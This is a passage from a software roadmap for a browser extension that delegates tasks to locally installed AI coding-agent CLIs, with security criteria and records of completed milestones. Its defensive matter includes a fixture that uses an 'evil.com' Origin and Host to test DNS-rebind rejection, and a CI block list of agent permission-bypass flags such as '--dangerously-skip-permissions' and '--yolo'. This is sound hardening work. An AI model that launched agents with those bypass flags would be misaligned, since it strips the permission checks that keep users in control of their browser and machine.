additive proof). + 2. A relay process advertising `capabilities: ['agent-spawn']` on `relay:hello` becomes the routing target for `ext:*` frames: the hub routes each `ext:request` locally when it is itself the daemon, forwards to the first `agent-spawn`-advertising relay when it is not, and replies `agent_provider_offline` when no supervisor is present — verified by extending `tests/mcp-bridge-topology.test.js` with new hub-exit-mid-delegation and relay-mid-`ext:*`-frame cases without breaking any existing hub-exit-promotion test. + 3. A fixture crafted with `Origin: https://evil.com` on the WebSocket upgrade is rejected before any handler runs; a second fixture with `Host: evil.com:7225` (even when the target actually resolves to 127.0.0.1) is rejected as DNS-rebind defense — the bridge accepts `ext:*` frames only when the WS upgrade carried an `Origin` matching a durable per-install `chrome-extension://` allowlist and a `Host` exactly `127.0.0.1` or `localhost` at the loopback port, and the daemon never binds `0.0.0.0`. + 4. A per-install ≥32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame — and `redactForLog` plus every tracked diagnostic ring-buffer sink strips any string matching the shared-secret token pattern, with a build-time drift gate that fails if a raw secret substring appears in any tracked log fixture. + 5. A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those "one-click RCE" flags can never enter the spawn path in any future patch. +**Plans**: 4/4 complete + +### Phase 60: Adapter Contract & Claude Code MVP +**Goal**: A shell-free, tree-killable `SpawnSupervisor` in the `serve` daemon spawns the user's installed `claude` CLI via a formal five-method `AgentProviderAdapter` contract — with a shipped `fsb` agent definition (never prompt-stuffing), `--strict-mcp-config` hermeticity, and a recorded stream-json JSONL fixture — so a user with Claude Code installed can send a side-panel message and observe the agent drive their live browser back through FSB's MCP tools with visible per-tool-call feedback. This phase is the integration payoff; the contract is designed for adapter breadth so OpenCode/Codex slot in without rework. +**Depends on**: Phase 58 (provider selection reads the Providers panel), Phase 59 (channel + all CHAN security foundations must be code-green before any spawn code exists) +**Requirements**: ADAPT-01, ADAPT-02, ADAPT-03, ADAPT-04, ADAPT-05, CLAUDE-01, CLAUDE-02, CLAUDE-03, CLAUDE-04 +**Success Criteria** (what must be TRUE): + 1. The `AgentProviderAdapter` TypeScript interface (`mcp/src/agent-providers/adapter.ts`) exposes exactly five methods (`detect()` → `{installed, version, authState, binary}`, `buildSpawn(task, ctx)` → `SpawnSpec`, `parseEvents(stream)` → `AsyncIterable`, `kill(child, {grace})` → `Promise`, `caps()` → `AdapterCapabilities`), and the Claude Code adapter (`mcp/src/agent-providers/claude-code.ts`) implements all five and is registered against the `INSTALL_CLIENTS` / `PLATFORMS` client id `claude-code`. + 2. A user with Claude Code installed can select "Claude Code" as their provider in the side panel, type a task, and observe the spawned CLI drive their live browser back through FSB's MCP tools — with visible per-tool-call feedback — while every existing FSB MCP tool call remains byte-identical on the wire (INV-01 preserved end-to-end through the delegation round-trip; the byte-freeze regression test still passes). + 3. The `SpawnSupervisor` accepts a validated spawn request over Phase 59's `ext:request` channel, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected with a typed error), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `GEMINI_API_KEY` scrubbed; the supervisor never invokes a shell, and the user's prompt reaches the CLI only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. + 4. A `stop` / cancel request triggers SIGTERM at the process-group level on POSIX (`process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`), `taskkill /pid /T /F` on Windows, escalates to SIGKILL after a grace window, and does not resolve the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain — grandchildren, MCP sub-servers, and shell tools spawned by the CLI are all terminated. + 5. On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints (env-var tag + argv pattern) and kills them before accepting new spawn requests, and reports the scan result in structured diagnostics — so a daemon crash mid-run cannot leave a ghost CLI controlling the browser. + 6. The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence` (or the version-appropriate equivalent selected by `detect()`); `parseEvents` translates the CLI's stream-json events into a normalized `AgentEvent` schema, fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI; `detect()` fingerprints via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. +**Plans**: 4/4 complete +- [x] 60-01: Freeze the exact adapter contract, Claude detection/profile, and shipped FSB agent policy. +- [x] 60-02: Normalize bounded Claude JSONL through the concrete adapter with truthful offline fixture provenance. +- [x] 60-03: Build private runtime state plus verified POSIX/Windows termination and orphan recovery. +- [x] 60-04: Wire the serve-only supervisor, exact-once reverse delegation, full regression gates, and deferred UAT ledger. + +### Phase 61: Delegation UX & SW-Eviction Persistence +**Goal**: The side panel becomes a first-class delegation surface — visible first-use consent gate, live per-tool-call streaming feed, default-background-tab with a "Take control" affordance, kill switch that reclaims owned tabs, honest post-run usage summary, and MV3 SW-eviction-safe persistence so a 45-minute run resumes exactly the feed the user last saw. The extension has no `nativeMessaging` permission at this point — this phase ships the honest "Agent offline → `doctor`" state that Phase 63 later augments with an optional wake path. +**Depends on**: Phase 60 (adapter contract + Claude Code MVP producing the `AgentEvent` stream + tab ownership on spawn); Phase 59 heartbeat plumbing +**Requirements**: UX-01, UX-02, UX-03, UX-04, UX-05, UX-06, LIFE-01, LIFE-02, LIFE-03, LIFE-04 +**Success Criteria** (what must be TRUE): + 1. A fifth `EXECUTION_MODES` entry `delegated` in `extension/ai/engine-config.js` (with `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, wall-clock + event-silence watchdogs, and no iteration cap — the reasoning loop runs in the spawned CLI, not `runAgentLoop`) is selected automatically whenever the active provider is agent-kind, and the extension's own `runAgentLoop` is never entered for delegated tasks. + 2. Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, states what it will be permitted to do (drive FSB MCP tools on the user's live browser), and states what it will not (edit files, run shell, fetch arbitrary URLs); a per-run confirm-to-continue toggle is on by default and can be disabled per-provider only via an explicit "trust this agent" setting — the copy never uses "faster mode" language. + 3. The side panel renders a live per-run streaming feed with distinct card types for `init` (client, model, session id, allowed tools), `tool-call` (name, args summary, tab id), `retry` (typed error class), and `result` (usage summary) driven by the normalized `AgentEvent` stream; a delegated run opens by default in a new background tab, and when the user activates the tab the agent is driving, a persistent "Take control" affordance appears that pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. + 4. A prominent Stop button in the side panel triggers `stopDelegatedTask`, routes to the supervisor's kill, and — on confirmed exit — releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed; a post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind, real USD for api kind), and an expandable per-tool-call breakdown. + 5. Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key BEFORE it fans out to UI subscribers, so a mid-run MV3 service worker eviction reloads exactly the delivered feed on re-open — no ghost state, no fabricated events, no dropped events; the fifth `EXECUTION_MODES` entry works end-to-end across a forced SW eviction in a test fixture. + 6. While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the side panel switches to a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart; if `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message; if the daemon restarts while a delegation was mid-flight, the supervisor kills any surviving spawned CLI (never re-adopts) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. +**Plans**: 8/8 complete; automated/source verification passed; eight live UAT checks deferred to the milestone-end gate +- [x] 61-01: Freeze exact agent routing, delegated mode, read-only preflight, one-use consent, and provider-local trust. +- [x] 61-02: Build the bounded write-before-fanout event ledger and sole delegated lifecycle controller. +- [x] 61-03: Serialize async bridge observers, add acknowledged active-delegation heartbeat, and pin Chrome 116/no-native authority. +- [x] 61-04: Correlate server delegation ids with extension agents and add sealed complete mapped-tab hold leases. +- [x] 61-05: Add supervisor hold/resume/status plus generation-backed restart-loss evidence. +- [x] 61-06: Integrate start, handoff, Stop, hydration, heartbeat, and recovery in the service worker. +- [x] 61-07: Implement the safe, exact-copy, accessible delegated side-panel feed and lifecycle UI. +- [x] 61-08: Install complete regression/evidence gates and defer genuine live UAT to the milestone-end ledger. +**UI hint**: yes + +### Phase 62: CI Drift-Smoke Gate & Doctor Extensions +**Goal**: An `fsb-mcp-server doctor` operator and CI both catch adapter drift the moment an agent CLI ships a new flag or event-shape — with a machine-readable adapter compatibility matrix the extension consumes to render "supported / degraded / unsupported" states without hardcoding versions anywhere in extension source. +**Depends on**: Phase 60 (needs at least one adapter to run drift-smoke against; Phase 61 UX consumes the compatibility matrix for rendering degraded states) +**Requirements**: DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 +**Success Criteria** (what must be TRUE): + 1. A CI job runs each shipped adapter against a canned prompt fixture, asserts the known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing required fields, or a `--version` outside the compatibility matrix — with no live CLI required (the recorded JSONL fixtures from Phases 60/64/65 suffice), so contributors without every CLI installed can still land safe changes. + 2. `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age — so an operator with only `doctor` output can identify which adapter failed and why. + 3. The diagnostics ring buffer classifies drift events as `agent_protocol_drift` with adapter id, expected vs observed fields, and rate-limits duplicate entries at the existing 1-per-10s bucket so a chatty drift does not blow the buffer. + 4. `doctor` emits a machine-readable adapter compatibility matrix that both the CI drift-smoke job and the extension can read; the extension consumes the matrix at boot (and on doctor refresh) to render `supported` / `degraded` / `unsupported` badges in the Providers panel — and never hardcodes CLI versions in extension source. +**Plans**: 6 plans +- [x] 62-01: Establish the canonical adapter compatibility matrix/classifier and generalized offline drift-smoke CI gate. +- [x] 62-02: Extend `doctor` with offline adapter diagnostics, safe spawn-secret metadata, and text/JSON parity. +- [x] 62-03: Carry the authenticated safe compatibility projection into background-owned durable, freshness-aware provider state. +- [x] 62-04: Project sanitized protocol-drift detail and report it exactly once through a true per-adapter pre-throttle. +- [x] 62-05: Render exact, accessible, non-mutating compatibility badges and selected-provider details. +- [x] 62-06: Wire root/source/security gates and preserve all genuine live evidence in the pending milestone-end UAT ledger. + +### Phase 63: Native-Messaging Host +**Goal**: When the user has installed the optional native-messaging host, the "Agent offline" state auto-attempts to wake `fsb-mcp-server serve` before falling back to the Phase 61 doctor deep-link — closing the UX cliff introduced by the extension having no `nativeMessaging` permission through Phases 57-62. All spawn authority stays inside the serve daemon behind Phase 59's CHAN gates; the native host itself never spawns agent CLIs. +**Depends on**: Phase 61 ("Agent offline → doctor" state must already exist for the wake to have a fallback), Phase 62 (doctor extensions already report daemon state) +**Requirements**: NATIVE-01, NATIVE-02, NATIVE-03, NATIVE-04 +**Success Criteria** (what must be TRUE): + 1. `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest — macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\` — allowing the FSB extension id as the sole caller, and installs a host binary that can wake the daemon on demand. + 2. The extension's manifest gains a single additive `nativeMessaging` permission entry (no other permission changes); at boot the extension detects native-host presence, and when the host is installed, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link — a user with the host installed sees the delegation come alive on demand instead of the manual `serve` prompt. + 3. The native host itself does NOT spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff — all spawn authority remains inside the serve daemon behind the Phase 59 CHAN gates (Origin allowlist, shared secret, flag allowlist, argv-only) and no CHAN requirement is relaxed to accommodate the wake path. + 4. `fsb-mcp-server uninstall --native-host` cleanly removes the manifest, and `doctor` reports native-host install state including manifest path, allowlist mismatches, and host-binary reachability so an operator can debug wake failures without shell-level inspection. +**Plans**: 12 plans + +**Wave 1** +- [x] 63-01: Establish the workspace-safe build guard, release-built Windows bootstrap, and durable bundled runtime contract. + +**Wave 2** *(blocked on Wave 1 completion)* +- [x] 63-02: Fix pre-bind secret rotation and make product-specific serve readiness authoritative. + +**Wave 3** *(blocked on Wave 2 completion)* +- [x] 63-03: Implement the closed native-messaging framing, validation, one-shot entry, and authority boundary. + +**Wave 4** *(blocked on Wave 3 completion)* +- [x] 63-04: Implement exact readiness probing, tokened wake coalescing, and one shell-free serve handoff. + +**Wave 5** *(blocked on Wave 4 completion)* +- [x] 63-05: Implement exact-owned atomic registration, runtime materialization, install, and uninstall across three OS families. + +**Wave 6** *(blocked on Wave 5 completion)* +- [x] 63-06: Add explicit native-host CLI install/uninstall routes without widening existing installer behavior. + +**Wave 7** *(blocked on Wave 6 completion)* +- [x] 63-07: Add bounded read-only native-host diagnostics with safe local and browser projections. + +**Wave 8** *(blocked on Wave 7 completion)* +- [x] 63-08: Add the single manifest permission and background-owned probe/offline-wake controller. + +**Wave 9** *(blocked on Wave 8 completion)* +- [x] 63-09: Render the approved intent-fenced checking state in the existing delegation card. + +**Wave 10** *(blocked on Wave 9 completion)* +- [x] 63-10: Wire deterministic focused/root/CI contracts and create the still-pending milestone-end UAT ledger. + +**Wave 11** *(blocked on Wave 10 completion)* +- [x] 63-11: Run independent blocking code, security, and UI source-review gates. + +**Wave 12** *(blocked on Wave 11 completion)* +- [x] 63-12: Run the reviewed focused matrix and workspace-preserving repository-wide regression gate. + +### Phase 64: OpenCode Adapter +**Goal**: The `AgentProviderAdapter` contract proves it accommodates a second CLI family — one that supports both cold spawn AND attach-to-running-server (`opencode serve` + `opencode run --attach`) — without any Phase 60 rewrite; OpenCode joins the Providers panel with a pinned agent definition and CI-covered event schema so the drift gate covers it from day one. +**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate must accept the new adapter fixture) +**Requirements**: MULTI-01, MULTI-02, MULTI-03 +**Success Criteria** (what must be TRUE): + 1. An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode = true`; the supervisor either spawns `opencode run` cold OR attaches to a running `opencode serve` per the adapter's `buildSpawn` output — and the Phase 60 contract handles both without any hardcoded spawn-vs-attach branch outside the adapter. + 2. The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike, so tool boundaries and system-prompt intent are identical across the two adapters. + 3. A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-/` proves the adapter's event schema in CI without a live CLI; the Phase 62 drift-smoke job includes OpenCode from the first commit of this phase, and unknown event types raise `agent_protocol_drift` with the adapter id `opencode`. Planning-document commits do not count as implementation commits: Plan 64-01 has exactly one implementation task/commit containing the complete parser, fixture, native negative corpus, and generalized drift gate; every later plan depends on it transitively, and Plan 64-05 exposes adapter/registry/matrix/bijection atomically. + 4. A user with OpenCode installed can pick "OpenCode" as their provider in the side panel and observe the delegation UX (streaming feed, kill switch that reclaims tabs, post-run summary, SW-eviction survival) work identically to Claude Code — with no adapter-specific side-panel branches. +**Plans**: 13 plans + +**Wave 1** +- [x] 64-01-PLAN.md — Land the complete strict parser, honest 1.14.25 fixture, native negative corpus, and generalized adapter-native Phase 62 CI drift gate as the sole first implementation commit. + +**Wave 2** *(blocked on Wave 1 completion)* +- [x] 64-02-PLAN.md — Freeze the exact five-method provider-neutral topology/attestation seam and the public fixed-env versus transient secret-binding contract. + +**Wave 3** *(blocked on Wave 2 completion)* +- [x] 64-03-PLAN.md — Version the exact delegation/provider-server runtime journal and private-artifact boundary with legacy recovery and structural secret non-retention preserved. + +**Wave 4** *(blocked on Wave 3 completion)* +- [x] 64-04-PLAN.md — Build exact OpenCode 1.14.25 retained detection, private policy, effective-attestation declarations, and exact server/attach secret-binding descriptors. + +**Wave 5** *(blocked on Wave 4 completion)* +- [x] 64-05-PLAN.md — Atomically compose and expose the production adapter, registry row, compatibility row, and exact parser/fixture/native-drift bijection. + +**Wave 6** *(parallel; blocked on Wave 5, with the server lifecycle also directly bound to Wave 3 runtime state)* +- [x] 64-06-PLAN.md — Project the exact roster into bounded inventory/doctor evidence and the browser-safe Claude/OpenCode compatibility plane. +- [x] 64-07-PLAN.md — Implement the generic cold-first, FSB-owned-server lease, health, fallback, idle, and recovery lifecycle. + +**Wave 7** *(parallel; each blocked on its Wave 6 dependency)* +- [x] 64-08-PLAN.md — Interpret closed attestation descriptors through the shared verifier, enforce no replay, and gate results on clean exit/tree settlement. +- [x] 64-09-PLAN.md — Generalize canonical extension preflight, consent, trust, and background-authoritative provider routing. + +**Wave 8** *(parallel; each blocked on its Wave 7 dependency)* +- [x] 64-10-PLAN.md — Generalize durable event/controller hydration and safe per-adapter drift diagnostics. +- [x] 64-11-PLAN.md — Promote the existing OpenCode Providers row from safe evidence with honest auth/billing and no visible layout change. + +**Wave 9** *(blocked on Waves 7-8 completion)* +- [x] 64-12-PLAN.md — Project OpenCode through the existing delegated consent/side-panel/feed/summary UI with no provider-specific branch. + +**Wave 10** *(blocked on Wave 9 completion)* +- [x] 64-13-PLAN.md — Wire exact validation/root/CI/security/full-suite gates and the still-pending three-row human-UAT ledger. + +### Phase 65: Codex Adapter +**Goal**: Task-mode delegation coverage extends to OpenAI Codex with correct auth-state disclosure (ChatGPT OAuth vs API key vs unauthenticated) so users know which billing bucket a run will hit before starting; `caps.chatMode: false` across all v0.9.91 adapters confirms task-mode-only scope for the milestone. +**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate) +**Requirements**: MULTI-04, MULTI-05, MULTI-06 +**Success Criteria** (what must be TRUE): + 1. A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the verified 0.142.5 flag set (`--ephemeral` + `--ignore-user-config` for hermeticity; the deprecated `--full-auto` is NEVER referenced in adapter source, protected by the CHAN-07 grep gate against `--auto`). + 2. The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth, API key, or unauthenticated and surfaces the state in the Providers panel so the user knows which billing bucket a run will hit — with the accepted copy **Included with your ChatGPT plan**, **Billed to the API key stored by Codex; dollar amount not reported.**, or the exact sign-in/status-refresh recovery copy. + 3. A schema-derived Codex JSONL contract fixture pins the event schema in CI under `tests/fixtures/agent-streams/codex-0.142.5/`, honestly retains `liveCapturePending: true`, and awaits genuine capture in UAT65-02; the Phase 62 drift-smoke job includes Codex from the first implementation commit, and the adapter's `caps()` correctly reports `chatMode: false` — matching the milestone-wide task-mode-only posture. + 4. A user with Codex installed can pick "Codex" as their provider and observe the same delegation UX as Claude Code and OpenCode with the correct per-auth-state cost copy, and the Providers panel's `agent`-kind cost row shows tokens / turns / duration + the auth-state-appropriate subscription caption rather than a fabricated dollar amount. +**Plans**: 8/8 complete + +- [x] 65-01-PLAN.md — Establish canonical accepted identity, capability vocabulary, and durable provider-neutral persistence before Codex exposure. +- [x] 65-02-PLAN.md — Bind background-owned preflight, consent, trust, and replay rejection to the exact five-field identity. +- [x] 65-03-PLAN.md — Enforce immediate supervisor re-attestation and exact start echo before any runtime or browser-visible effect. +- [x] 65-04-PLAN.md — Add bounded byte probes, sanitized environments, serve-owned authority descriptors, and empty direct scratch cleanup. +- [x] 65-05-PLAN.md — Atomically expose the complete Codex adapter, profile, parser, fixture, roster, drift, and negative corpus. +- [x] 65-06-PLAN.md — Project safe auth evidence and exact billing copy through the existing three-provider Providers surface. +- [x] 65-07-PLAN.md — Preserve immutable accepted identity through feed/hydration and close shared 44px delegated controls. +- [x] 65-08-PLAN.md — Lock exact validation/UAT contracts and the preservation-safe focused, root, and CI closure gate. + +## Progress + +**Execution Order:** +Phases execute in numeric order: 57 → 58 → 59 → 60 → 61 → 62 → 63 → 64 → 65 +Security-first hard rule: Phase 59 is code-green before Phase 60 spawn code lands, regardless of Phase 57/58 progress. + +| Phase | Plans Complete | Status | Completed | +|-------|-----------------|--------|-----------| +| 57. Agent Identity Capture | 3/3 | Complete | 2026-07-12 | +| 58. Providers Panel | 3/3 | Complete | 2026-07-12 | +| 59. Reverse-Request Channel & Security Foundation | 4/4 | Complete | 2026-07-14 | +| 60. Adapter Contract & Claude Code MVP | 4/4 | Complete | 2026-07-14 | +| 61. Delegation UX & SW-Eviction Persistence | 8/8 | Complete (UAT deferred) | 2026-07-15 | +| 62. CI Drift-Smoke Gate & Doctor Extensions | 6/6 | Complete (UAT deferred) | 2026-07-16 | +| 63. Native-Messaging Host | 12/12 | Complete | 2026-07-20 | +| 64. OpenCode Adapter | 13/13 | Complete | 2026-07-21 | +| 65. Codex Adapter | 8/8 | Complete | 2026-07-22 | + +## Completed Milestones + +
+v1.2.0 Showcase i18n Completeness — Phases 52-56, SHIPPED 2026-07-09 + +**Milestone Goal:** Close the translation gap that reopened after v0.9.63 shipped -- full, drift-free coverage across all six supported locales (en, es, de, ja, zh-CN, zh-TW) for every showcase marketing page plus the stats page, the long-deferred locale-cookie redirect bug, and a CI gate that catches future drift automatically. + +**Phase summary:** + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 52 | Full-Page Translation Completeness Audit | 1/1 | Complete | +| 53 | Trans-Unit Resync, Stats Translation & Transcreation Review | 3/3 | Complete; VISUAL-01 human_needed | +| 54 | Stats Lint Gate Flip & Dashboard Boundary Documentation | 1/1 | Complete | +| 55 | CI Drift-Detection Gate | 1/1 | Complete | +| 56 | Locale-Cookie Redirect Fix (WARNING-02) | 1/1 | Complete | + +Archive files: + +- `.planning/milestones/v1.2.0-ROADMAP.md` +- `.planning/milestones/v1.2.0-REQUIREMENTS.md` +- `.planning/v1.2.0-MILESTONE-AUDIT.md` + +Outcome: 13/13 v1.2.0 requirements satisfied; audit passed. Phase 52's audit established the true 5-drifted/54-orphaned baseline, superseding the milestone brief's original "247 trans-units" estimate. Phase 53 resynced the 5 drifted units + retired the stats-274 JSON artifacts + transcreated the 19 hero/CTA strings across 5 non-en locales. Phase 54 flipped `lint:i18n` to cover stats and documented the dashboard exclusion as permanent. Phase 55 landed `verify-translation-drift.mjs` as a hard-fail CI gate on a clean drift-free baseline. Phase 56 fixed WARNING-02's picker-cookie short-circuit on the bare-`/` Accept-Language redirect. VISUAL-01 browser UAT remains `human_needed` (`53-VISUAL-QA.md`). + +
+ +
+v1.1.0 T1 App Execution Expansion — Phases 44-51, SHIPPED 2026-06-30 + +**Hard invariants (v1.1.0):** + +- Kept the two-tool MCP surface: `search_capabilities` and `invoke_capability`; no one tool per app. +- Preserved MV3 Wall 1: descriptors and recipes are closed-vocabulary data; no OpenTabs runtime/plugin code ships. +- Preserved Wall 2 unless explicitly extended by a verified Pattern-D design: credentialed execution stays origin-pinned and same-session. +- Writes and destructive actions stayed fail-closed until live request shape, consent behavior, and no-secret logging were proven. +- Denylisted origins remained blocked; sensitive origins stayed flagged/audited under the existing invoke/discovery consent semantics. +- Search distinguished "directly invocable T1" from "discovery-pending DOM/T2." + +### Phase 44: T1 Readiness Inventory + Status Surface +**Goal:** Create the authoritative T1 readiness matrix for all 2,314 descriptors and make status visible to developers and users so "catalog supported" is never confused with "direct API-ready." +**Requirements:** T1R-01, T1R-02, T1R-03. +**Plans:** +- [x] 44-01: T1 readiness matrix generator and evidence report. +- [x] 44-02: Status-surface and documentation honesty pass. +- [x] 44-03: T1 readiness CI guard and phase closeout. + +### Phase 45: T1 Porting Scaffold + Handler Contract Hardening +**Goal:** Build the reusable test and implementation scaffold for app ports so each new T1 handler has origin-pin, logged-out guard, shape guard, no-secret logging, consent classification, and byte-stable fallback behavior by default. +**Requirements:** T1R-04, T1R-05, T1R-09. +**Plans:** +- [x] 45-01: Port contract library and scaffold CLI. +- [x] 45-02: Current-catalog contract verifier. +- [x] 45-03: Documentation and phase closeout. + +### Phase 46: Same-Origin Read Ports — First High-Value Batch +**Goal:** Convert a first batch of high-value read descriptors from T3 to executable T1 where the app's authenticated web runtime uses same-origin APIs and can be proven without weakening Wall 2. +**Requirements:** T1R-06. +**Plans:** +- [x] 46-01: Candidate selection and Netlify/Bitbucket/CircleCI handler ports. +- [x] 46-02: Catalog wiring, search readiness, and same-origin classifier gates. +- [x] 46-03: Verification, UAT notes, and phase closeout. + +### Phase 47: Pattern-D + GAPI Bridge Architecture +**Goal:** Design and prove the missing architecture for apps whose useful APIs are separate-origin, per-org-subdomain, or page-bridge mediated, without breaking the active-tab credential boundary. +**Requirements:** T1R-07, T1R-08. +**Plans:** +- [x] 47-01: Pattern-D decision for separate-origin and per-org APIs. +- [x] 47-02: GAPI bridge decision for Google Workspace APIs. +- [x] 47-03: CI gate, negative controls, and closeout. + +### Phase 48: High-Value Read Ports — Second Batch +**Goal:** Use the Phase 47 outcome to port another batch of read descriptors, including Pattern-D/GAPI candidates if the architecture is proven. +**Requirements:** T1R-06, T1R-07, T1R-08. +**Plans:** +- [x] 48-01: Vercel same-origin read head. +- [x] 48-02: CircleCI same-origin read expansion. +- [x] 48-03: Gate, search, and readiness-report closeout. + +### Phase 49: Guarded Writes Activation Pipeline +**Goal:** Turn fail-closed write/destructive candidates into executable T1 only after live mutation-body capture, consent gate verification, and redacted audit proof. +**Requirements:** T1R-10, T1R-11. +**Plans:** +- [x] 49-01: Write activation evidence ledger. +- [x] 49-02: Evidence verifier and validation gate. +- [x] 49-03: Live-UAT template and closeout decision. + +### Phase 50: T1 Expansion Gate + Next-Batch Plan +**Goal:** Close the milestone with an honest T1 coverage gate, full regression suite, and a prioritized backlog for the remaining 2,288-descendant tail. +**Requirements:** T1R-12. +**Plans:** +- [x] 50-01: Regenerate readiness evidence and closeout counts. +- [x] 50-02: Full regression gate. +- [x] 50-03: Next-batch backlog and milestone closeout. + +### Phase 51: Full T1 Tail Migration Across Remaining Catalog +**Goal:** Convert the Phase 51 catalog-tail descriptors to explicit terminal states: executable T1/T1b where safe and technically provable, guarded fail-closed where write/destructive UAT is still required, or blocked where denylist/product/legal policy says no. +**Requirements:** T1ALL-01, T1ALL-02, T1ALL-03, T1ALL-04, T1ALL-05. +**Plans:** +- [x] 51-01: Full-tail worklist generator, acceptance gate, and batch scheduler. +- [x] 51-02: Existing-head and low-risk same-origin read bulk port. +- [x] 51-03: Retool CSRF same-origin read head. +- [x] 51-04: Asana same-origin Pattern-D carveout. +- [x] 51-05: Pattern-D and GAPI bridge implementation waves. +- [x] 51-06: Sensitive consumer/social and blocked-policy triage. +- [x] 51-07: Write/destructive live-UAT activation waves. +- [x] 51-08: Final all-tail regression, UAT ledger, and closeout. + +Archive files: + +- `.planning/milestones/v1.1.0-ROADMAP.md` +- `.planning/milestones/v1.1.0-REQUIREMENTS.md` +- `.planning/milestones/v1.1.0-MILESTONE-AUDIT.md` + +Outcome: v1.1.0 expanded proven direct execution from the v1.0.0 baseline into verified T1-ready read coverage across Netlify, Bitbucket, CircleCI, Vercel, Retool, Asana, and generated same-origin reads, with post-closeout ports reflected in the refreshed artifacts. Phase 51 closes the remaining catalog tail honestly: 1,267 rows are executable T1-ready, 556 rows are guarded fail-closed, and the remaining 491 descriptors are explicitly surfaced as bridge-needed, UAT-needed, blocked-policy, or degraded/discovery-pending rather than overclaimed. + +
+ +
+v1.0.0 Full App Catalog (OpenTabs Parity) — Phases 35-43, SHIPPED 2026-06-29 + +Archive files: + +- `.planning/milestones/v1.0.0-ROADMAP.md` +- `.planning/milestones/v1.0.0-REQUIREMENTS.md` +- `.planning/milestones/v1.0.0-MILESTONE-AUDIT.md` +- `.planning/milestones/v1.0.0-phases/` + +Outcome: full OpenTabs-derived catalog/search/discovery surface shipped with 2,314 descriptors across 128 app stems / 129 services. The milestone deliberately fed the existing tier model rather than hand-porting every action: 26 descriptors resolve to T1/T1b today, 5 guarded writes remain fail-closed, and 2,288 descriptors remain T3 DOM/discovery-tail. Full milestone audit passed; non-blocking live UAT and T1 expansion debt are carried forward. + +
+ +
+v0.9.99 Native Capability Catalog (FSB API Execution) — Phases 26-34, CODE-COMPLETE 2026-06-23 + +Gave FSB first-class authenticated-API execution as a fast path alongside DOM automation, between Wall 1 (closed-vocabulary recipe DATA bound by a fixed interpreter) and Wall 2 (MAIN-world authenticated fetch). Full `npm test` EXIT 0; live-browser UAT debt (UAT-27/29/30/31/32-01) carried forward. The v1.0.0 milestone extends this substrate verbatim. + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 26 | Recipe Schema + Bundled Interpreter + MV3 CI Guard | 3/3 | Complete | +| 27 | Authenticated Fetch Primitive (MAIN-world) + Origin-Pin + Resume-Sidecar | 3/3 | Complete; live FETCH-05 UAT human_needed | +| 28 | Lean MCP Surface + Capability Search + Eval Harness | 4/4 | Complete | +| 29 | Catalog + Tiered Router + Bundled Head + Declarative Tail + Autopilot Parity | 5/5 | Complete; live-capture UAT human_needed | +| 30 | Consent Governance + Recipe Signature Verification + Audit + Legal Posture | 4/4 | Complete; live smoke human_needed | +| 31 | Network-Capture Discovery + Recipe Synthesis + Learned Recipes | 6/6 | Complete; live UAT human_needed | +| 32 | Self-Healing Fallback + Recipe-Rot + Re-Learn + 